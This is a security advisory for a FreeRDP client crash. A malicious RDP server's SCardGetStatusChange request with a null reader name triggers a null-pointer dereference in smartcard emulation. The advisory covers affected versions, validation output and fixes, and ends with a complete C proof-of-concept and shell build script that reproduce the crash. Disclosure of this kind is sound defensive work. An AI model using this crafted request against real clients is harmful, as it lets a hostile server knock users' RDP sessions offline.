Null reader name in emulated smartcard request remotely crashes FreeRDP clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
A malicious or compromised RDP server can terminate a connecting FreeRDP client when smartcard emulation is enabled. The server sends an SCardGetStatusChangeA or SCardGetStatusChangeW device-control request with cReaders=1, an allocated reader-state array, and a null NDR pointer for that entry's reader name.
The decoder accepts the request and returns an entry with szReader == NULL:
if (!smartcard_ndr_pointer_read(log, s, ptrIndex, &ptr))
{
if (ptr != 0)
goto fail;
}
states[index] = ptr != 0;The emulation backend then compares the remote name without validating it:
if (strcmp(out->szReader, in->szReader) == 0)
The W variant reaches the equivalent _wcscmp call. The result is a deterministic null-pointer dereference in the client process. A full-session replay carried the crafted request through real TLS/RDP, the negotiated RDPDR channel, FreeRDP's stock server serializer, and an unmodified client; the client exited 139 from SIGSEGV.
Smartcard emulation was introduced during development of FreeRDP 3.0.0. The vulnerable decoder and comparison are present in 3.0.0, 3.31.1, the assessed development revision, and current master. No exact public duplicate or fix was found. GHSA-ph3q-f9w8-7jf3 and GHSA-78jj-45vh-jpm5 concern different smartcard null-dereference roots.
Impact
Alice must initiate an RDP connection to Mallory's malicious or compromised server with smartcard emulation enabled and the smartcard device-service route available. Mallory needs no local privilege on Alice's client and no race or allocator shaping. One crafted reader-state entry terminates the FreeRDP process.
The demonstrated impact is availability loss only. Restarting the client restores the process, but Mallory can repeat the request on reconnection. Memory corruption, confidentiality loss, integrity loss, code execution, and a pre-authentication timing claim were not demonstrated.
Validation
The primary product replay used a real TLS/RDP session against an unmodified xfreerdp client at development revision fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3. The client negotiated RDPDR, announced its emulated smartcard, and reached the RDPDR user-logged-on state. A disposable server-side attachment added FreeRDP's stock RdpdrServerContext to freerdp-shadow-cli, which does not instantiate that context itself, then called the public SmartcardEstablishContext and SmartcardGetStatusChangeA APIs. FreeRDP's stock server library serialized and sent both requests. There was no client preload, client patch, target-tree modification, direct decoder call, or post-serialization wire mutation.
The safe control sent FreeRDP Emulator. It received a successful status-change completion and remained alive until deliberate SIGTERM cleanup. The attack used a matched session and the same operation with a null per-reader name. Client diagnostics reported the null argument in Emulate_SCardGetStatusChangeA, the client caught SIGSEGV, and it exited 139 before cleanup without returning a completion:
control: sent=1 completion_received=1 client_died_before_cleanup=0 client_rc=145 attack: sent=1 completion_received=0 client_died_before_cleanup=1 client_rc=139
Status 145 in the control is deliberate cleanup, not a product failure. The product replay demonstrates post-logon network reachability and client-process availability loss; it does not establish a pre-authentication attack.
The packaged focused reproducer separately serializes the request with FreeRDP's production encoder, decodes those bytes with smartcard_irp_device_control_decode_request, and dispatches the result with smartcard_irp_device_control_call. This proves that the null arises from accepted request bytes rather than direct manipulation of an internal object.
Two existing builds were independently replayed:
- FreeRDP 3.31.1 Release with
NDEBUG, shared libraries, andWITH_SMARTCARD_EMULATE=ON. - Development revision
fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3in an ASan/UBSan Debug build with the same feature enabled.
For each build, the control changed only the reader name from null to FreeRDP Emulator. The control returned successfully. The Release attack ended with SIGSEGV and status 139. The sanitizer build reported the null argument in Emulate_SCardGetStatusChangeA, followed by a segmentation fault in strcmp.
Selected Release output:
decode_status=0x00000000 cReaders=1 reader_name=non-null dispatch_mode=control dispatch_returned status=0x00000000 io_status=0x00000000 process_status=0 mode=control decode_status=0x00000000 cReaders=1 reader_name=null dispatch_mode=null process_status=139 mode=null
Selected sanitizer output:
AddressSanitizer:DEADLYSIGNAL ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 strcmp #1 Emulate_SCardGetStatusChangeA #2 smartcard_GetStatusChangeA_Call #3 smartcard_irp_device_control_call SUMMARY: AddressSanitizer: SEGV in strcmp process_status=1 mode=null
The full network runner was retained as validation evidence rather than included in this portable package because it was coupled to the disposable lab's existing display, credentials, certificates, dependency tree, and shadow-server attachment preload, and it contained unrelated validation cases. The source-only PoC below remains the practical disclosure reproducer.
Reproduction
Build FreeRDP as shared libraries with smartcard emulation enabled. From the report directory, run the valid control and then the null-name attack. The third argument is a colon-separated list of dependency library directories, or an empty string when the system loader already finds them:
cmake -S freerdp-src -B freerdp-build \ -DCMAKE_BUILD_TYPE=Release \ -DBUILD_SHARED_LIBS=ON \ -DWITH_SMARTCARD_EMULATE=ON cmake --build freerdp-build --parallel cd poc ulimit -c 0 ./run.sh ../freerdp-src ../freerdp-build "" control ./run.sh ../freerdp-src ../freerdp-build "" null
The null mode intentionally crashes the disposable test process.
Suggested remediation
Reject null per-reader name pointers in smartcard_unpack_reader_state_a and smartcard_unpack_reader_state_w. Also add null checks in Emulate_SCardGetStatusChangeA/W and return SCARD_E_INVALID_PARAMETER before calling strcmp or _wcscmp.
Add A/W regression tests for a valid reader name, zero readers, one null reader name, and a multi-reader array with a later null name. Exercise both Debug and NDEBUG builds.
Complete PoC files
<!-- BEGIN FILE: poc/scard_getstatuschange_null.c -->
/*
* Reproducer for a NULL reader name in an emulated SCardGetStatusChangeA call.
*
* The request is encoded and decoded through FreeRDP's production smartcard
* helpers before being dispatched through smartcard_irp_device_control_call().
* Use "control" for a valid reader name and "null" for the crafted request.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winpr/crt.h>
#include <winpr/smartcard.h>
#include <winpr/stream.h>
#include <freerdp/channels/rdpdr.h>
#include <freerdp/channels/scard.h>
#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <freerdp/utils/rdpdr_utils.h>
#include <freerdp/utils/smartcard_call.h>
#include <freerdp/utils/smartcard_operations.h>
#include <freerdp/utils/smartcard_pack.h>
static wStream* wrap_request(UINT32 ioControlCode, const wStream* inner)
{
const size_t totalLength =
RDPDR_DEVICE_IO_CONTROL_REQ_HDR_LENGTH + Stream_Length(inner);
wStream* s = Stream_New(NULL, totalLength);
if (!s)
return NULL;
Stream_Write_UINT32(s, 2048);
Stream_Write_UINT32(s, (UINT32)Stream_Length(inner));
Stream_Write_UINT32(s, ioControlCode);
Stream_Zero(s, 20);
Stream_Write(s, Stream_ConstBuffer(inner), Stream_Length(inner));
Stream_SealLength(s);
if (!Stream_SetPosition(s, 0))
abort();
return s;
}
static BOOL decode_request(SCARDCONTEXT hContext, const char* readerName,
SMARTCARD_OPERATION* decoded)
{
SMARTCARD_OPERATION source = { 0 };
source.ioControlCode = SCARD_IOCTL_GETSTATUSCHANGEA;
source.call.getStatusChangeA.handles.hContext.cbContext = sizeof(SCARDCONTEXT);
memcpy(source.call.getStatusChangeA.handles.hContext.pbContext, &hContext,
sizeof(hContext));
source.call.getStatusChangeA.dwTimeOut = 0;
source.call.getStatusChangeA.cReaders = 1;
source.call.getStatusChangeA.rgReaderStates =
calloc(1, sizeof(SCARD_READERSTATEA));
if (!source.call.getStatusChangeA.rgReaderStates)
return FALSE;
if (readerName)
{
source.call.getStatusChangeA.rgReaderStates[0].szReader = _strdup(readerName);
if (!source.call.getStatusChangeA.rgReaderStates[0].szReader)
return FALSE;
}
wStream* encoded = Stream_New(NULL, 4096);
if (!encoded)
return FALSE;
if (smartcard_irp_device_control_encode_request(encoded, &source) != SCARD_S_SUCCESS)
return FALSE;
wStream* request = wrap_request(SCARD_IOCTL_GETSTATUSCHANGEA, encoded);
Stream_Free(encoded, TRUE);
if (!request)
return FALSE;
SMARTCARD_OPERATION result = { 0 };
const LONG status = smartcard_irp_device_control_decode_request(request, 1, 0, &result);
Stream_Free(request, TRUE);
smartcard_operation_free(&source, FALSE);
const void* decodedName = NULL;
if (result.call.getStatusChangeA.rgReaderStates)
decodedName = result.call.getStatusChangeA.rgReaderStates[0].szReader;
printf("decode_status=0x%08x cReaders=%u reader_name=%s\n", (unsigned)status,
result.call.getStatusChangeA.cReaders, decodedName ? "non-null" : "null");
fflush(stdout);
if ((status != SCARD_S_SUCCESS) ||
(result.call.getStatusChangeA.cReaders != 1) ||
(result.call.getStatusChangeA.rgReaderStates == NULL))
{
smartcard_operation_free(&result, FALSE);
return FALSE;
}
*decoded = result;
return TRUE;
}
static BOOL establish_context(scard_call_context* callContext, SCARDCONTEXT* hContext)
{
SMARTCARD_OPERATION operation = { 0 };
operation.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT;
operation.call.establishContext.dwScope = SCARD_SCOPE_USER;
operation.outputBufferLength = 2048;
wStream* output = Stream_New(NULL, 4096);
if (!output)
return FALSE;
Stream_Zero(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH);
NTSTATUS ioStatus = 0;
const LONG callStatus =
smartcard_irp_device_control_call(callContext, output, &ioStatus, &operation);
if (callStatus != SCARD_S_SUCCESS)
return FALSE;
if (!Stream_SetPosition(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH))
return FALSE;
SMARTCARD_OPERATION response = { 0 };
const LONG decodeStatus = smartcard_irp_device_control_decode_response(
output, SCARD_IOCTL_ESTABLISHCONTEXT, &response);
Stream_Free(output, TRUE);
if ((decodeStatus != SCARD_S_SUCCESS) ||
(response.ret.establishContext.hContext.cbContext != sizeof(SCARDCONTEXT)))
{
smartcard_operation_free(&response, FALSE);
return FALSE;
}
memcpy(hContext, response.ret.establishContext.hContext.pbContext,
sizeof(*hContext));
smartcard_operation_free(&response, FALSE);
return TRUE;
}
int main(int argc, char** argv)
{
if ((argc != 2) || ((strcmp(argv[1], "null") != 0) &&
(strcmp(argv[1], "control") != 0)))
{
fprintf(stderr, "usage: %s null|control\n", argv[0]);
return 2;
}
const BOOL attack = strcmp(argv[1], "null") == 0;
rdpSettings* settings = freerdp_settings_new(0);
freerdp instance = { 0 };
rdpContext context = { 0 };
instance.context = &context;
context.instance = &instance;
context.settings = settings;
if (!settings ||
!freerdp_settings_set_pointer(settings, FreeRDP_instance, &instance) ||
!freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE))
return 3;
scard_call_context* callContext =
smartcard_call_context_new_with_context(&context);
if (!callContext)
return 4;
SCARDCONTEXT hContext = 0;
if (!establish_context(callContext, &hContext))
return 5;
SMARTCARD_OPERATION decoded = { 0 };
const char* readerName = attack ? NULL : "FreeRDP Emulator";
if (!decode_request(hContext, readerName, &decoded))
return 6;
wStream* output = Stream_New(NULL, 4096);
if (!output)
return 7;
NTSTATUS ioStatus = 0;
printf("dispatch_mode=%s\n", argv[1]);
fflush(stdout);
const LONG status =
smartcard_irp_device_control_call(callContext, output, &ioStatus, &decoded);
printf("dispatch_returned status=0x%08x io_status=0x%08x\n", (unsigned)status,
(unsigned)ioStatus);
return 0;
}<!-- END FILE: poc/scard_getstatuschange_null.c -->
<!-- BEGIN FILE: poc/run.sh -->
#!/bin/sh
set -eu
if [ "$#" -lt 3 ] || [ "$#" -gt 4 ]; then
echo "usage: $0 SOURCE_TREE BUILD_TREE DEPENDENCY_LIBRARY_DIR [control|null]" >&2
exit 2
fi
source_tree=$1
build_tree=$2
dependency_library_dir=$3
mode=${4:-null}
case "$mode" in
control|null) ;;
*)
echo "mode must be control or null" >&2
exit 2
;;
esac
script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
work_root=${POC_WORK_ROOT:-$script_dir}
work_dir=$(mktemp -d "$work_root/scard-null.XXXXXX")
trap 'rm -rf "$work_dir"' EXIT HUP INT TERM
sanitizer_flags=
if [ -n "${POC_SANITIZERS:-}" ]; then
sanitizer_flags="-fsanitize=$POC_SANITIZERS -fno-omit-frame-pointer"
fi
# sanitizer_flags is intentionally word-split into compiler options.
# shellcheck disable=SC2086
cc -O1 -g -Wno-deprecated-declarations \
$sanitizer_flags \
-I"$source_tree/include" \
-I"$source_tree/winpr/include" \
-I"$build_tree/include" \
-I"$build_tree/winpr/include" \
"$script_dir/scard_getstatuschange_null.c" \
-L"$build_tree/libfreerdp" \
-L"$build_tree/winpr/libwinpr" \
-Wl,--allow-shlib-undefined \
-Wl,-rpath,"$build_tree/libfreerdp" \
-Wl,-rpath,"$build_tree/winpr/libwinpr" \
-lfreerdp3 -lwinpr3 \
-o "$work_dir/scard_getstatuschange_null"
runtime_path="$build_tree/libfreerdp:$build_tree/winpr/libwinpr:$dependency_library_dir"
if [ -n "${LD_LIBRARY_PATH:-}" ]; then
runtime_path="$runtime_path:$LD_LIBRARY_PATH"
fi
set +e
LD_LIBRARY_PATH="$runtime_path" \
timeout 10 "$work_dir/scard_getstatuschange_null" "$mode"
status=$?
set -e
echo "process_status=$status mode=$mode"
if [ "$mode" = control ]; then
[ "$status" -eq 0 ]
else
case "$status" in
1|134|139) ;;
*) exit 1 ;;
esac
fi<!-- END FILE: poc/run.sh -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0, <= 3.31.1GitHub